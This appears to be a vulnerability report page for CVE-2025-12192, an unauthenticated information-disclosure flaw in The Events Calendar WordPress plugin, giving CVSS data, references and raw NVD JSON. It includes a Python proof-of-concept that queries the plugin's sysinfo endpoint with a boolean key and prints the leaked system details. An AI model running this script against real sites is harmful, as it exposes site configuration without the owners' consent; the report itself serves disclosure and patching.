Security Vulnerability Report
中文
CVE-2025-12192 CVSS 5.3 MEDIUM

CVE-2025-12192

Published: 2025-11-05 10:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Events Calendar plugin for WordPress is vulnerable to information disclosure in versions up to, and including, 6.15.9. The sysinfo REST endpoint compares the provided key to the stored opt-in key using a loose comparison, allowing unauthenticated attackers to send a boolean value and obtain the full system report whenever "Yes, automatically share my system information with The Events Calendar support team" setting is enabled.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

The Events Calendar plugin for WordPress <= 6.15.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12192 PoC - Information Disclosure in The Events Calendar # Target: WordPress site with The Events Calendar plugin <= 6.15.9 target_url = "http://target-wordpress-site.com" # The vulnerable endpoint endpoint = "/wp-json/tribe/events/v1/sysinfo" # Using loose comparison bypass - send boolean true as key parameter payload = { "key": True # Boolean true bypasses loose comparison } print("[*] CVE-2025-12192 PoC - The Events Calendar Information Disclosure") print(f"[*] Target: {target_url}") print(f"[*] Endpoint: {endpoint}") try: # Send request to vulnerable endpoint response = requests.get( f"{target_url}{endpoint}", params=payload, timeout=30 ) if response.status_code == 200: data = response.json() print("[+] Success! System information retrieved:") print(json.dumps(data, indent=2)) # Extract sensitive information if 'system' in data: print("\n[+] Sensitive data found:") if 'wp_version' in data['system']: print(f" - WordPress Version: {data['system']['wp_version']}") if 'php_version' in data['system']: print(f" - PHP Version: {data['system']['php_version']}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12192", "sourceIdentifier": "[email protected]", "published": "2025-11-05T10:15:35.217", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Events Calendar plugin for WordPress is vulnerable to information disclosure in versions up to, and including, 6.15.9. The sysinfo REST endpoint compares the provided key to the stored opt-in key using a loose comparison, allowing unauthenticated attackers to send a boolean value and obtain the full system report whenever \"Yes, automatically share my system information with The Events Calendar support team\" setting is enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-697"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3386042/the-events-calendar", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e5f3feb7-547e-4c01-8453-a1fc207ee009?source=cve", "source": "[email protected]"}]}}